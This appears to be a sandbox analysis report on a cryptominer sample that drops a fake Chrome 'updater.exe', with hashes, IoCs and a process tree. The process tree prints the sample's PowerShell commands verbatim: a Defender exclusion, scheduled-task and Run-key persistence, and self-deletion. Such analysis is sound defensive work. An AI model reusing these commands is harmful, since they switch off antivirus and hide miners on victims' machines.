Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1790s -
max time network
1802s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
UU4Ddwqm5zcuLzGR.exeupdater.execonhost.exedescription pid process target process PID 2236 created 1208 2236 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2236 created 1208 2236 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2236 created 1208 2236 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2236 created 1208 2236 UU4Ddwqm5zcuLzGR.exe Explorer.EXE PID 2944 created 1208 2944 updater.exe Explorer.EXE PID 2944 created 1208 2944 updater.exe Explorer.EXE PID 2944 created 1208 2944 updater.exe Explorer.EXE PID 2944 created 1208 2944 updater.exe Explorer.EXE PID 2948 created 1208 2948 conhost.exe Explorer.EXE PID 2944 created 1208 2944 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral25/memory/1284-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/1284-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2656 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2944 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1908 taskeng.exe -
Processes:
resource yara_rule behavioral25/memory/1284-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/1284-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2944 set thread context of 2948 2944 updater.exe conhost.exe PID 2944 set thread context of 1284 2944 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
UU4Ddwqm5zcuLzGR.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe UU4Ddwqm5zcuLzGR.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2744 schtasks.exe 588 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d086ce4fb94fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
UU4Ddwqm5zcuLzGR.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2236 UU4Ddwqm5zcuLzGR.exe 2236 UU4Ddwqm5zcuLzGR.exe 2640 powershell.exe 2236 UU4Ddwqm5zcuLzGR.exe 2236 UU4Ddwqm5zcuLzGR.exe 2876 powershell.exe 2236 UU4Ddwqm5zcuLzGR.exe 2236 UU4Ddwqm5zcuLzGR.exe 2236 UU4Ddwqm5zcuLzGR.exe 2236 UU4Ddwqm5zcuLzGR.exe 3052 powershell.exe 2944 updater.exe 2944 updater.exe 2848 powershell.exe 2944 updater.exe 2944 updater.exe 2772 powershell.exe 2944 updater.exe 2944 updater.exe 2944 updater.exe 2944 updater.exe 2948 conhost.exe 2948 conhost.exe 2944 updater.exe 2944 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2640 powershell.exe Token: SeDebugPrivilege 2876 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeDebugPrivilege 2848 powershell.exe Token: SeDebugPrivilege 2772 powershell.exe Token: SeDebugPrivilege 2944 updater.exe Token: SeAssignPrimaryTokenPrivilege 924 WMIC.exe Token: SeIncreaseQuotaPrivilege 924 WMIC.exe Token: SeSecurityPrivilege 924 WMIC.exe Token: SeTakeOwnershipPrivilege 924 WMIC.exe Token: SeLoadDriverPrivilege 924 WMIC.exe Token: SeSystemtimePrivilege 924 WMIC.exe Token: SeBackupPrivilege 924 WMIC.exe Token: SeRestorePrivilege 924 WMIC.exe Token: SeShutdownPrivilege 924 WMIC.exe Token: SeSystemEnvironmentPrivilege 924 WMIC.exe Token: SeUndockPrivilege 924 WMIC.exe Token: SeManageVolumePrivilege 924 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 924 WMIC.exe Token: SeIncreaseQuotaPrivilege 924 WMIC.exe Token: SeSecurityPrivilege 924 WMIC.exe Token: SeTakeOwnershipPrivilege 924 WMIC.exe Token: SeLoadDriverPrivilege 924 WMIC.exe Token: SeSystemtimePrivilege 924 WMIC.exe Token: SeBackupPrivilege 924 WMIC.exe Token: SeRestorePrivilege 924 WMIC.exe Token: SeShutdownPrivilege 924 WMIC.exe Token: SeSystemEnvironmentPrivilege 924 WMIC.exe Token: SeUndockPrivilege 924 WMIC.exe Token: SeManageVolumePrivilege 924 WMIC.exe Token: SeLockMemoryPrivilege 1284 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2876 wrote to memory of 2744 2876 powershell.exe schtasks.exe PID 2876 wrote to memory of 2744 2876 powershell.exe schtasks.exe PID 2876 wrote to memory of 2744 2876 powershell.exe schtasks.exe PID 2656 wrote to memory of 2612 2656 cmd.exe choice.exe PID 2656 wrote to memory of 2612 2656 cmd.exe choice.exe PID 2656 wrote to memory of 2612 2656 cmd.exe choice.exe PID 3052 wrote to memory of 2132 3052 powershell.exe schtasks.exe PID 3052 wrote to memory of 2132 3052 powershell.exe schtasks.exe PID 3052 wrote to memory of 2132 3052 powershell.exe schtasks.exe PID 1908 wrote to memory of 2944 1908 taskeng.exe updater.exe PID 1908 wrote to memory of 2944 1908 taskeng.exe updater.exe PID 1908 wrote to memory of 2944 1908 taskeng.exe updater.exe PID 2772 wrote to memory of 588 2772 powershell.exe schtasks.exe PID 2772 wrote to memory of 588 2772 powershell.exe schtasks.exe PID 2772 wrote to memory of 588 2772 powershell.exe schtasks.exe PID 2944 wrote to memory of 2948 2944 updater.exe conhost.exe PID 2924 wrote to memory of 924 2924 cmd.exe WMIC.exe PID 2924 wrote to memory of 924 2924 cmd.exe WMIC.exe PID 2924 wrote to memory of 924 2924 cmd.exe WMIC.exe PID 2944 wrote to memory of 1284 2944 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1208
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2236
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2744
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2656 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2132
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:588
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:972
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2924
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2948
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1284
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C:\Windows\system32\taskeng.exetaskeng.exe {13349147-810B-4D7F-BCD3-3DC26EBE5852} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2944
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:924
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
714KB
MD53a457544ba68ad42fa37b51b8926492d
SHA1d90b9dd2115703846472db8df92bbf0cb30334ca
SHA25695db01a34900f493bdd63a7a57c308597ee03ab8904f46ae480a75c7f7701423
SHA512f0a5ac9cf650b8fd3dcee8615de8ecb8e41d98497eec20d956b2e2d25ee6c1659e0cd370e8a65f9b272ae3ffa3eae7b86f911393664d1566641359ec8adcbbeb
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Filesize
84KB
MD5faab2108d145dc8655a3e18b03e016ed
SHA18139c9fcfa8af58383ebe187384f5460dbc062ff
SHA2560cf32a96f672aa709a01f49dd1725f6a267e18421f7e36cec800da4c7fd7ac55
SHA51223897bd21c2e3bcd698c26eb063bd14f06eeee9286b113f4c18081cbbd7eda8ab34d499695d6689d7ce4ff8fe338bc529f2b9931e14df147d9d3e0caf04200ff
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD522f38c6fffd19fa0d96c8dd5db9f323b
SHA1ba4e64b6040ade82698bdeb4686c8c3ee02d9a76
SHA2568df736f5738d131821b5263767188a44a981589d3f1629319d9686f6011be5ec
SHA512c2d8bee9d96b4653fe8acccb13e6fe5a7689b0950cbe4e6e97e2104d2101f597b98a198d4dbe726fe600ea41a7793795606100034f44b789cad53d9d1a33db94
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Filesize
664KB
MD5ee0edd7fddae43e4c95671fe408d4269
SHA1b6742d4e833ef6a2435af43ac21c27e7aef62334
SHA256f0acedc44b158246466c1591a444b5ab37078ad88315a8ffada102dab0ca854a
SHA512c46750030aa34eeae2b75d13f9e92a9f5c5a4e703b280f6bdd8b13b1e446226c5dd1f75ed21c714cbb92d44ec2f79fad6a790afe235d03426deee29d80997699